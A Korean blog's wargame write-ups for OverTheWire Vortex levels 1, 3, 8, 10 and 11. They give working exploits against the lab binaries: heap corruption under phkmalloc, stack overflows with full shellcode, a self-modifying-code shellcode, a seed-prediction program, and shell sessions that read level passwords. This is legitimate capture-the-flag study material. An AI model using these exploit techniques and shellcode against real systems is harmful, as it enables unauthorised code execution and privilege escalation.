Search results for 'War game/vortex'

  1. 2014.01.02 -- vortex12
  2. 2013.04.02 -- Vortex11 3
  3. 2011.04.18 -- vortex level10
  4. 2010.12.09 -- vortex level8
  5. 2009.10.03 -- vortex level3
  6. 2009.09.24 -- vortex level1
  7. 2009.09.23 -- vortex level0

vortex12

2014. 1. 2. 02:31
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Vortex11

2013. 4. 2. 18:09

오랫만에 풀어보는 vortex. 문제 설명을 보자.


Chunk Corruption
You must corrupt the heap in order to gain arbitrary control of this program. Do recall, the application is using phkmalloc.

#include <stdio.h>
#include <string.h>


int main(int argc, char **argv) {
        char *p;
        char *q;
        char *r;
        char *s;
        if (argc < 3)
        {
                exit(0);
        }
        p = (char *) malloc(0x800);
        q = (char *) malloc(0x10);
        r = (char *) malloc(0x800);
        strcpy(r , argv[1]);
        s = (char *) malloc(0x10);
        strncpy(s , argv[2], 0xf);
        exit(0);
}
감이 오질 않아 http://www.overthewire.org/wargames/vortex/vortex11.shtml 에 
링크된 문서 중에 BSD Heap Smashing 문서를 읽어보았다. 중요한 내용을 추려보자면..


chunks are handled differently, depending on their size.


Other chunks are tiny and medium-sized chunks. The size of such chunks is always
a power of 2, and the smallest chunk size is malloc_minsize, that is defined as:

#define malloc_minsize          16U

A given memory page may not contain two chunks that do not have the same size.
When a tiny or medium-sized chunk is allocated, it is included in an existing
page containing other chunks that have the same size if such a page is
available. Otherwise, exactly one memory page is requested from the lower layer,
and the chunk is included in the newly allocated page.

Large chunks are chunks whose size is larger than half a page. When such a
chunk is allocated, the top level layer simply requests a number of adjacent
memory pages given by the size of the chunk rounded up to a multiple of
malloc_pagesize, and then divided by malloc_page_size.


When a memory page contains tiny or medium-sized chunks, a structure describing
which chunks are free and which chunks are in use is associated with the page.
These structures are kept in several linked lists, one list for each possible
size of chunks. A pointer to the head of each list is stored in the first part
of the pages directory: page_dir[j] where j is such that ( 1 << j ) is the size
of the chunks contained in the page.

These structures are declared as follows:

struct pginfo {
    struct pginfo       *next;  /* next on the free list */
    void                *page;  /* Pointer to the page */
    u_short             size;   /* size of this page's chunks */
    u_short             shift;  /* How far to shift for this size chunks */
    u_short             free;   /* How many free chunks */
    u_short             total;  /* How many chunk */
    u_int               bits[1]; /* Which chunks are free */
};


The next field is a pointer to the next structure in the list, or 0 if the
element is the last of the list.

The page field points to the beginning of the page (it is always a multiple of
malloc_pagesize).

The size field is set to the size in bytes of the chunks contained in this page.

The free field is the number of free chunks in the page.

The total field is the sum of the number of free chunks in the page and of the
number of allocated chunks in the page. The page is freed (ie. returned to the
lower layer) whenever ( free == total ) becomes true.

......


A simple technique may be used to exploit basic heap buffer overflows. It simply
requires to overwrite the page, shift, and bits fields of a pginfo structure,
then the attacker controls the return value of the next dynamic allocation of
the appropriate size. This technique requires the ability to create a gap in
the heap: first, a chunk that has the size of a struct pginfo is allocated,
then another chunk, whose only role is to force the allocator to create a new
page and thus place a pginfo structure immediately after the first chunk. Then,
the first chunk is freed, and immediately allocated again, overflowed, and the
freshly allocated pginfo structure is overwritten. Next call to malloc() returns
whatever the attacker wants and may be used to erase a saved EIP, a GOT entry,
or whatever.


이해한대로 요약하면 malloc으로 힙을 할당할 때, 할당 사이즈에 따라 각각 Large chunk, medium chunk, tiny chunk 로 분류해서 처리하는데 tiny chunk 가 생성될 때 해당 page에서 chunk 들을 링크드리스트로 관리하는 구조체가 존재한다. 구조체 정보는 다음과 같다.

struct pginfo {
    struct pginfo       *next;  /* next on the free list */
    void                *page;  /* Pointer to the page */
    u_short             size;   /* size of this page's chunks */
    u_short             shift;  /* How far to shift for this size chunks */
    u_short             free;   /* How many free chunks */
    u_short             total;  /* How many chunk */
    u_int               bits[1]; /* Which chunks are free */
};

여기서 page 는 말 그대로 page를 가리키는 포인터이다. 이 값을 조작하면 다음에 할당될 주소를 바꿀 수 있어서 exploit 가 가능해진다. 공격하기 전에 다음 내용을 확인.


Before starting, the reader needs to know the following details about phk malloc
on Intel i86 (more detail is provided in appendix B):

  * tiny chunks are 16 (0x10) and 32 (0x20) bytes chunks
  * medium-sized chunks range from 64 (0x40) to 2048 (0x1000/2) bytes, inclusive
  * a memory page is 4096 (0x1000) bytes long
  * pginfo structures range between 20 and 32 bytes (remember the bits field has
    a variable width), and are stored in 32 bytes chunks, except for 16 bytes
    chunks pages, whose pginfos are 48 bytes long
  * pgfree structures are 20 bytes long

풀이과정을 대충 요약하면

1) 소스내용을 보고 GDB에서 할당된 주소를 확인

        p = (char *) malloc(0x800);
        q = (char *) malloc(0x10);
        r = (char *) malloc(0x800);
        strcpy(r , argv[1]);
        s = (char *) malloc(0x10);
        strncpy(s , argv[2], 0xf);
        exit(0);

p  -  0x0804e000
q  -  0x0804f030
r  -  0x0804e800
s  -  0x0804f040

p, r 은 0x800 만큼 0x0804e000, 0x0804e800 에 연속해서 할당

q, s 는 tiny chunk로(0x10) 0x0804f030, 0x0804f040에 할당

q 가 할당될 때 0x0804f000 이 아니라 0x0804f030 부터 할당되는 이유는 chunk를 관리하는 구조체가 앞쪽에 위치하기 때문이다.

2) gdb에서 구조체를 확인

(gdb) x/30x 0x0804f000
0x804f000:      0x00000000      0x0804f000      0x00040010      0x00fd00fb
0x804f010:      0xffffffe0      0xffffffff      0xffffffff      0xffffffff
0x804f020:      0xffffffff      0xffffffff      0xffffffff      0xffffffff
0x804f030:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f040:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f050:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f060:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f070:      0xd0d0d0d0      0xd0d0d0d0

위 주소의 값들을 pginfo 구조체로 그려보면

struct pginfo {
    struct pginfo       *next = NULL;           /* next on the free list */
    void              *page = 0x0804f000;     /* Pointer to the page */
    u_short             size  = 0x10;           /* size of this page's chunks */
    u_short             shift = 0x4;            /* How far to shift for this size chunks */
    u_short             free  = fb;             /* How many free chunks */
    u_short             total = fd;             /* How many chunk */
    u_int               bits[1] = 0xffffffe0;   /* Which chunks are free */
};


3) target address 확인

 page pointer를  원하는 주소로 오버라이트 하면 strncpy를 호출해 원하는 값을 쓸 수 있게 된다.

exit 함수 때문에 dtors_end 는 사용할 수 없으므로 exit 함수의 plt 가 가장 만만해 보인다.

Dump of assembler code for function exit@plt:
   0x080486a0 <+0>:     jmp    *0x804c048
   0x080486a6 <+6>:     push   $0x90
   0x080486ab <+11>:    jmp    0x8048570

두 번째 할당되는 chunk 는 0x0804f000 + 0x40에 할당되는 것을 볼 수 있다. 
따라서 쓰고자 하는 주소 - 0x40 한 값을 사용한다.

0x0804c048 - 0x40 = 0x0804c008

4) payload 구성

쉘코드는 msf로 /bin/sh를 실행하도록 생성

payload는 0x0804e800부터 0x800 바이트를 nopsled + shellcode 로 대충 구성.

[target program] [nop * 1900 + shellcode + 0x0804c008] [somewhere of nopsled]


5) Result

vortex11@melissa:/vortex$ ./vortex11 "`python -c 'print "\x90"*1900+"\x89\xe2\xda\xca\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x76\x6b\x76\x38\x4e\x79\x50\x52\x73\x56\x71\x78\x64\x6d\x35\x33\x4d\x59\x5a\x47\x61\x78\x46\x4f\x50\x73\x51\x78\x57\x70\x42\x48\x64\x6f\x72\x42\x50\x69\x42\x4e\x6e\x69\x6b\x53\x56\x32\x79\x78\x36\x68\x37\x70\x45\x50\x73\x30\x36\x4f\x45\x32\x61\x79\x62\x4e\x34\x6f\x32\x53\x53\x58\x45\x50\x43\x67\x46\x33\x6c\x49\x6b\x51\x58\x4d\x6f\x70\x41\x41"+"\x08\xc0\x04\x08"*2'`" `python -c 'print "\xa6\xe8\x04\x08"'`
$ id
id: not found
$ cd /etc
$ id
uid=5011(vortex11) gid=5011(vortex11) euid=5012(vortex12) groups=5012(vortex12),5011(vortex11)
$ cd /etc/vortex_pass
$ cat vortex12
########
$


'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level10

2011. 4. 18. 06:35


Vortex Level10에 대한 설명입니다.

Random?
          Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this.


"20개의 정수를 읽고 이 정수값을 생성하는 seed를 30초 안에 써라" 라고 하네요.

파일을 실행한 결과는  다음과 같습니다.



IDA F5 신공으로 보면,

   v1 = times(&buffer);

    tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1;

    tmp += clock();
    tmp += time(0);

    num = tmp;

    if ( tmp < 0 ) {
        num = tmp + 255;
    }

    tmp = 128 - (tmp - (num >> 8 << 8));

    seed = tmp + time(0);

seed 를 생성하는 루틴에서 사용하는 함수들은 다음과 같습니다.

1) times function.

NAME
       times - get process times

SYNOPSIS
       #include <sys/times.h>

       clock_t times(struct tms *buf);

DESCRIPTION
       times()  stores  the  current process times in the struct tms that buf points to.  The struct tms is as defined in <sys/times.h>:

           struct tms {
               clock_t tms_utime;  /* user time */
               clock_t tms_stime;  /* system time */
               clock_t tms_cutime; /* user time of children */
               clock_t tms_cstime; /* system time of children */
           };

   times() 함수는 현재 프로세스 타임을 tms구조체에 되돌려줍니다.

     tms_utime는 프로세스가 호출한 명령을 수행하기 위해서 소비된 시간이다.
     tms_stime는 프로세스의 명령을 시스템차원에서 실행하는데 소비된 시간이다.
     tms_cutime은 종료된 모든 자식프로세스가 소비한 tms_utime이다.
     tms_cstime은 종료된 모든 자식프로세스가 소비한 tms_stime이다.

2) clock() function  - 프로그램이 실행된 후 경과한 Clock Tick을 반환

To get a process' CPU time, you can use the clock function. This facility is declared in the header file time.h. In typical usage, you call the clock function at the beginning and end of the interval you want to time, subtract the values, and then divide by CLOCKS_PER_SEC (the number of clock ticks per second) to get processor time, like this:

 #include <time.h>         
 clock_t start, end;    
 double cpu_time_used;         
 start = clock();     ... /* Do the work. */    
 end = clock();    
 cpu_time_used = ((double) (end - start)) / CLOCKS_PER_SEC;

3) time() function
http://www.joinc.co.kr/modules/moniwiki/wiki.php/article/unixtime

1970년 1월 1일(GMT)를 기준으로 지금까지 흐른 시간을 초 단위로 측정

위의 함수들을 조합해서 seed를 생성한 후에 rand() 함수로 값을 찍습니다.
이 루틴을 그대로 이용해서 level10으로  넘기면 될거 같네요.

처음엔 파일로 쓴 후에 읽게 했습니다. Local system 인 ubuntu 에서는 성공했지만
이 느려터진 vortex 시스템에선 계속 "None, try again" 만 뜨더군요.

파일로 쓰는 시간을 줄일 수 없을까 하다,  Pipe 를 이용해서 해결했습니다.
이 문제를 푼게 올해 초라서.. 지금 다시 돌려보니 깔끔하게 떨어지진 않네요 흑..
사용되는 연산이 적으면 아무래도 시스템 성능에 영향을 더 받겠죠?
File, Pipe 이외에 더 적은 연산을 수행하는 방법이 없을까요.

풀이에 사용한 코드 입니다.


 
#include <stdio.h>
#include <sys/times.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define LEVEL10 "/vortex/level10"

int main(void) 
{
    struct          tms buffer;
    clock_t         v1;
    int             num,tmp,i,j,pid;
    unsigned int    seed;
    int             buf[22] = {0}; 
    char            result[16] = {0};
    char            last[16] = {0}; 
    int             p[2] = {0};
    char            temp[4] = {0};
    char            response[256] = {0};
    //char            action[] = "ls -al > /tmp/result\n";
    char            action[] = "cat /etc/vortex_pass/vortex11 > /tmp/result\n";
    char            end[] = {0};

    v1 = times(&buffer);

    tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1;

    tmp += clock();
    tmp += time(0);

    num = tmp;

    if ( tmp < 0 ) {
        num = tmp + 255;
    }

    tmp = 128 - (tmp - (num >> 8 << 8));

    seed = tmp + time(0);
    printf("seed : %d\n", seed);
    sprintf(result,"%x",seed);

    j=3;

    for (i=0;i<strlen(result); i=i+2) 
    {
        sprintf(temp,"%c%c",result[i],result[i+1]);
        last[j] = strtol(temp,NULL,16);
        j--;
     }
if 1
    srand(seed);

    setvbuf(stdout, 0, 2,0);

    for ( i = 0; i < tmp; ++i) {
        rand();
    }

    printf("[");
    for ( i = 0; i <= 19; ++i) {
        buf[i] = rand();
        printf(" %08x,", buf[i]);
    }

    printf("]\n");
#endif

    pipe(p);

    if((pid =fork()) == 0)
    {
        dup2(p[0],0);
        close(p[1]);
        execl("./level10","level10",NULL);
    }
    else
    {
        close(p[0]);
        write(p[1], last, strlen(last));
    }

    write(p[1], action, sizeof(action));
    sleep(1);
    write(p[1], end, sizeof(end));

    return 0;
}

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level8

2010. 12. 9. 01:21
분석한걸 대충 요약하면..
strcpy로 인해 BOF가 발생하는 unsafecode는 호출하기전에 권한설정이 현재 uid 인 510으로 설정되어
vortex9(511)의 쉘을 띄울 수가 없다. 어떻게 해야될까..

구글링을 하니 beist님이 쓰신 글이 가장 도움이 되었는데 간단히 말하면, 하나의 프로세스에서 .code 영역은 공유되므로 권한 설정 전에 호출되는 쓰레드의 코드를 직접 바꾸도록 쉘코드를 만드는 것이다.

음.. 좋아 쉘코드를 만들어 보자.

다음은 Writing shellcode for Linux and *BSD (http://www.kernel-panic.it/security/shellcode/)의 일부를 번역한 것이다.
--------------------------------------------------------------------------------------
CPU가 0x80 인터럽트를 받게되면 커널모드로 진입, IDT에서 적절한 핸들러를 얻어서 요청받은 함수를 실행한다.
System call number는 EAX에 저장되고, 함수 아규먼트는 (6개 까지) EBX, ECX, EDX, ESI, EDI, EBP 로 전달된다.
함수가 6개 이상의 아규먼트가 필요하면, 그것들을 구조체로 묶어서 첫번 째 아규먼트에 대한 포인터를 EBX에 저장한다

 
Syscall number 와 파라미터가 레지스터에 위치한 후에, 0x80 인터럽트가 실행된다. CPU는 커널모드에 진입하고,
System call을 수행한 후에 제어권을 사용자 프로세스에 반환한다.

System Call을 실행하기 위해 필요한 것은 다음과 같다.

1. Syscall Number를 EAX에 저장한다
2. Syscall 파라미터를 적절한 레지스터에 저장하거나
   파라미터를 포함하는 메모리 구조체를 만들어서 첫번 째 아규먼트의 포인터를 EBX 레지스터에 저장한다
3. 0x80 소프트웨어 인터럽트를 실행한다.

asm code에서 사용하는 system call number는 /usr/include/asm/unistd.h 에서 찾을 수 있다.

---------------------------------------------------------------------------------------------------

 

level8을 해결하기 위해 필요한 함수의 system call number는 아래와 같다.

#define __NR_execve           11
#define __NR_geteuid           49
#define __NR_setreuid           70
#define __NR_mprotect           125


먼저 핵심이 되는 mprotect.

#include <sys/mman.h>
 int mprotect(const void *addr, size_t len, int prot);

mprotect를 이용해 권한을 바꿀 주소를 살펴보자. 다음은 safecode를 디스어셈블한 내용이다.

0x08048564 <safecode+0>: push   %ebp
0x08048565 <safecode+1>: mov    %esp,%ebp
0x08048567 <safecode+3>: sub    $0x8,%esp
0x0804856a <safecode+6>: movl   $0x0,-0x4(%ebp)
0x08048571 <safecode+13>: sub    $0x8,%esp
0x08048574 <safecode+16>: pushl  -0x4(%ebp)
0x08048577 <safecode+19>: push   $0x8048708
0x0804857c <safecode+24>: call   0x8048464 <printf@plt>
0x08048581 <safecode+29>: add    $0x10,%esp
0x08048584 <safecode+32>: sub    $0xc,%esp
0x08048587 <safecode+35>: pushl  0x8049838
0x0804858d <safecode+41>: call   0x8048414 <fflush@plt>
0x08048592 <safecode+46>: add    $0x10,%esp
0x08048595 <safecode+49>: sub    $0xc,%esp
0x08048598 <safecode+52>: push   $0x1
0x0804859a <safecode+54>: call   0x8048444 <sleep@plt>
0x0804859f <safecode+59>: add    $0x10,%esp
0x080485a2 <safecode+62>: jmp    0x8048571 <safecode+13>

safecode 마지막에서 0x08048571로 반복되는 부분이 있다.  그러므로 0x08048571 부터 쉘코드를 덮어 씌운다면
jmp 문에 의해서 의도한 코드가 실행될 것이다.

처음에는 0x08048571 부분부터 코드 영역에 덮어씌울 쉘코드의 크기만큼만 권한을 바꾸려 했으나
테스트 결과 계속 세그 폴트가 났다. 으.. 영문을 모르겠어서 그냥 다음 영역 전체의 권한을 바꾸기로 했다.



따라서 mprotect는  대충 이런 모습으로 호출될 것이다.

mprotect(0x08048000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC);

mprotect는 앞서 나온 설명대로 ebx,ecx,edx에 각 파라미터를 집어넣고 0x7d로 인터럽트를 발생한다.

0x00124751 <mprotect+1>: mov    0x10(%esp),%edx
0x00124755 <mprotect+5>: mov    0xc(%esp),%ecx
0x00124759 <mprotect+9>: mov    0x8(%esp),%ebx
0x0012475d <mprotect+13>: mov    $0x7d,%eax
0x00124762 <mprotect+18>: int    $0x80

위의 정보를 토대로 asm으로 만들면

mov $0x7,%dl                  #read,write,exec 권한을 다 설정해주면 0x7로 들어간다.
mov $0x1010,%cx             #0x1000을 사이즈로 넣게되면 쉘코드에 널바이트가 있게된다.
xor %cl,%cl                    #0x1010을 넣어주고 1바이트를 xor 해줘서 0x1000을 만든다.
mov $0x08048010,%ebx     # 위와 마찬가지
xor %bl,%bl
mov $0x7d,%al                #mprotect의 syscall number 0x7d
int $0x80

최종 asm 코드는 다음과 같다.

main:
       jmp put_string

start:
        pop esi                        #stack에 들어있는 shellcode 주소를 esi에 넣는다.
        xor %eax,%eax              #사용하는 레지스터를 초기화
        xor %ebx,%ebx
        xor %ecx,%ecx
        xor %edx,%edx
        mov $0x7,%dl                 #mprotect 호출
        mov $0x1010,%cx
        xor %cl,%cl
        mov $0x08048010,%ebx
        xor %bl,%bl
        mov $0x7d,%al
        int $0x80
        xor %edx,%edx              #memcpy 전에 register 초기화
        xor %ecx,%ecx
        mov $0x08048571,%edi    #dest address를 edi에 넣는다.
        mov $0x31,%cl              #size를 ecx에 넣는다.
        mov %cl,%dl
        shr $0x2,%ecx
        cld
        rep movsd
        mov %edx,%ecx
        and $0x3,%ecx
        rep movsb

put_string:
        call start
        xor %eax,%eax
        xor %ebx,%ebx
        xor %ecx,%ecx
        mov $0x1ff,%cx             # vortex9의 uid 511을 넣는다.
        mov $0x1ff,%bx             
        mov $0x46,%al              
        int $0x80                      # setreuid(511,511);
        xor %eax,%eax
        push %eax
        push $0x68732f2f
        push $0x6e69622f          # /bin//sh 문자열을 만들어서
        mov %esp,%ebx           # ebx에 넣고
        push %eax              
        push %ebx
        mov %esp,%ecx           # 앞서 만든 문자열 주소를 ecx에 넣고  
        mov %eax,%edx           # NULL을 edx로
        mov $0xb,%al                   
        int $0x80                     # execve("/bin//sh", "/bin//sh", NULL)

위의 코드에서 뽑아낸 최종 쉘코드.

\xeb\x36\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x07\x66\xb9\x10\x10\x30\xc9\xbb\x10\x80\x04\x08\x30\xdb\xb0\x7d\xcd\x80\x31\xd2\x31\xc9\xbf\x71\x85\x04\x08\xb1\x31\x88\xca\xc1\xe9\x02\xfc\xf3\xa5\x89\xd1\x83\xe1\x03\xf3\xa4\xe8\xc5\xff\xff\xff\x31\xc0\x31\xdb\x31\xc9\x66\xb9\xff\x01\x66\xbb\xff\x01\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

생성한 쉘코드를 eggshell로 환경변수에 집어넣고 unsafecode에서 strcpy 될때 ebp-0x408(1032) 부터 복사되므로 ebp까지 덮도록 1036개의 쓰레기값으로 채운 후에 ret를 eggshell의 주소로 지정해준다.

머 대충 이런식으로.. /vortex/level8 `python -c 'print "\x41"*1036+"\xf0\xff\x7f\xbf"'`

쉘이 떴다!! 오예~! 스샷은 찍기 귀찮아서..  ci41)GJhb


'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level3

2009. 10. 3. 06:07

*
* 0xbadc0ded.org Challenge #02 (2003-07-08)
*
* Joel Eriksson <je@0xbadc0ded.org>
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

  unsigned long val = 31337;
  unsigned long *lp = &val;
 
 int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
         char buf[128];
         if (argc != 2)
             exit(1);
        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
               exit(2);
        tmp = *lpp;
       **lpp = (unsigned long) &buf;
         *lpp = tmp;
         exit(0);
}

level3의 소스. strcpy를 이용한 BOF 가 가능할 것으로 보인다. 서버에서 디버깅을 해보았다.

0x0804835c <main+0>:    push   %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x98,%esp             스택을 0x98만큼 확장
0x08048365 <main+9>:    and    $0xfffffff0,%esp       
0x08048368 <main+12>:    mov    $0x0,%eax           
0x0804836d <main+17>:    sub    %eax,%esp
0x0804836f <main+19>:    movl   $0x80494a0,-0xc(%ebp)    0x80494a0 의 값을 lpp(ebp) -12 에 넣는다.
0x08048376 <main+26>:    cmpl   $0x2,0x8(%ebp)               argc(ebp + 8)와 2를 비교
0x0804837a <main+30>:    je     0x8048386 <main+42>         
0x0804837c <main+32>:    sub    $0xc,%esp
0x0804837f <main+35>:    push   $0x1
0x08048381 <main+37>:    call   0x804828c exit@plt      argc가 2가 아니면 exit 호출.
0x08048386 <main+42>:    sub    $0x8,%esp                     
0x08048389 <main+45>:    mov    0xc(%ebp),%eax           argv[0]을 eax에 넣는다.
0x0804838c <main+48>:    add    $0x4,%eax                    argv[0] + 4
0x0804838f <main+51>:    pushl  (%eax)                           argv[1]의 주소를  스택에 넣는다.
0x08048391 <main+53>:    lea    -0x98(%ebp),%eax         ebp - 0x98 (152) 의 주소를 eax에 push
0x08048397 <main+59>:    push   %eax                            
0x08048398 <main+60>:    call   0x804829c <strcpy@plt>     strcpy 호출
0x0804839d <main+65>:    add    $0x10,%esp
0x080483a0 <main+68>:    mov    -0xc(%ebp),%eax            lpp 를 eax로 옮기고
0x080483a3 <main+71>:    and    $0xffff0000,%eax          0xffff0000 와 and 연산
0x080483a8 <main+76>:    cmp    $0x8040000,%eax       0x8040000 와 같으면
0x080483ad <main+81>:    je     0x80483b9 <main+93>   main + 93 으로 jump
0x080483af <main+83>:    sub    $0xc,%esp             
0x080483b2 <main+86>:    push   $0x2                           
0x080483b4 <main+88>:    call   0x804828c <exit@plt>     exit(2);
0x080483b9 <main+93>:    mov    -0xc(%ebp),%eax          lpp를 eax로
0x080483bc <main+96>:   mov    (%eax),%eax                lpp가 가리키는 값을 eax로 넣는다
0x080483be <main+98>:    mov    %eax,-0x10(%ebp)       eax 를 ebp - 0x10으로 (tmp = *lpp)
0x080483c1 <main+101>:    mov    -0xc(%ebp),%eax
0x080483c4 6 <main+106>:    lea    -0x98(%ebp),%eax      buf의 주소(ebp - 98)를 eax에 넣는다
0x080483cc <main+112>:    mov    %eax,(%edx)             eax를 edx가 포인팅하는 주소로(**lpp = &buf)
0x080483ce <main+114>:    mov    -0xc(%ebp),%edx      lpp를 edx로
0x080483d1 <main+117>:    mov    -0x10(%ebp),%eax   tmp를 eax로
0x080483d4 <main+120>:    mov    %eax,(%edx)          tmp의 값을 lpp가 가키리는 곳에 넣는다 *lpp = tmp
0x080483d6 <main+122>:    sub    $0xc,%esp
0x080483d9 <main+125>:    push   $0x0
0x080483db <main+127>:    call   0x804828c <exit@plt>
End of assembler dump

스택의 모습을 그려보면 아래와 같다.

[buf ] [ dummy] [ tmp ] [ lpp ] [ dummy ] [ebp] [ret]
  128          8           4           4          8           4       4 


먼저 기본적인 BOF를 시도해보았다.

[shellcode] [NULL] [lpp] [padding][shellcode`s address]
     34              106     4           12                  4


/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1
\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\xa0\x94\x04\x08'
+'\x90'*12+'\x40\xf5\x7f\xbf'"`

Shellcode는 shell-storm.org에서 setreuid 를 사용한 34 바이트 짜리를 사용.
(http://www.shell-storm.org/shellcode/files/shellcode-399.php)

세그먼트 폴트가 발생하며 종료되었다. 확인해보니 return address 가  buf의 주소로 바뀌었지만 쉘은 떨어
지지 않았다. 아마도 exit 함수로 바로 종료되기 때문일 것이다.

문제에 첨부된 문서대로 DTOR_END를 이용해보자

DTOR_END의 주소는 08049574에서 4를 더한 08049578 이다.

[shellcode] [NULL] [lpp]

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89
\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68
\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x78\x95\x04
\x08
'
"`

위와 같이 실행하면 0x080483cc 에서 세그 폴트가 발생한다.  0x080483cc는 바로 이 부분이다.

**lpp = (unsigned long) &buf;

DTOR_END의 주소인 08049578을 그대로 써주면 이 주소에 있는 값인 0 이 포인팅하는 곳에 값을 넣으려해서
 에러가 발생하게 된다. 원하는 곳을 가리키기 위해서 08049578를 가리키는 0804xxxx 주소가 필요하다.

어디서 이 주소를 구할수 있을까 한참을 삽질하다 스파게티코더님 블로그(http://semtle.tistory.com/146)
에서 원하는 정보를 얻을 수 있었다.

"용자여.. __DTOR_END__ 를 가리키고 있는 p.0 섹션이라는게 존재한답니다."

아 이런녀석이 있는지 전혀 몰랐다.. objdump로 .data 영역의 컨텐츠를 긁어봐도 p.0 섹션을 확인할 수 있다.



최종적으로 요렇게 입력해서 2YmgK1=jw 라는 패스워드를 겟

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x98\x94\x04\x08'"`


 

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level1

2009. 9. 24. 03:10

엉뚱하게 깊이 들어가서 상당히 헤멨다.

main함수에서 선언한 두 buf 와 ptr이 스택에 생성된 모습을 그려보면 쉽게 포인트를 잡을 수 있다.


unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;


스택에 쌓인 모습은 대충 이런식일 것이다.


---------------         High addresss
ret
---------------
ebp
---------------
buf
---------------
ptr
---------------
x
---------------        Low address


ptr은 buf 의 주소 + 256 의 위치를 가르키고 있는데
case '\\': ptr--; break;  이 구문에 의해 ptr의 값을 낮출 수가 있다.
스택은 높은주소에서 낮은 주소로 자라기 떄문에 ptr의 값을 계속 낮추다 보면
buf의 영역을 넘어서 ptr을  자신을 가리키게 된다.


그 상태에서 아무 값이나 입력하면
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
요기에 걸려서 ptr이 포인팅하는 곳, 즉 ptr의 주소에 입력한 값을 넣게 된다.


매크로 함수 e() 를 보자.


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }


ptr과 0xff000000을 AND 연산해서 0xca000000과 같으면 { } 안의 구문을 실행 시켜 쉘을 획득하게 된다. 0xff는 11111111이므로  AND 연산해서 0xca가 나오는 것은 0xca 자신 뿐이다.

ptr은 buf + 256 의 주소값을 가지고 있어서 -257을 하면 ptr 자신을 가리킬 것이다.
주소값은 4바이트에 Little endian 이므로 16진수 형태로 CA 를 넣게되면  ptr 주소의 첫 1바이트를 바꿀 수 있어서 쉘을 얻을 수 있을 것이다.


처음엔 이렇게 시도를 해보았다.

  perl -e 'print "\\"x257,"\xca"'|./level1

그냥 All done 출력하고 끝이난다.  흠.. 기대한 결과가 나오질 않았다. 이상하다 싶어서 코드를 조금 수정해서 로컬에서 주소값을 찍어보았다.



원하는대로 주소가 ca로 시작하는 것을 볼 수 있다. 값을 더 입력해보면..


perl -e 'print "\\"x257,"\xca","\xca"'|./level1


 


오.. 쉘이 실행되는 것을 볼 수 있다. 왜 이런 현상이 생길까 곰곰히 생각해 보았다.
사실 문제를 풀때 코드를 자세하게 보지 않는 짓을 자주 저지른다. 이번에도 마찬가지였다.

default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; 

default 구문에서 먼저 실행되고 나서 ptr에 x 를 집어 넣는다. 따라서 "\xca"를 입력하면 ptr의 값에
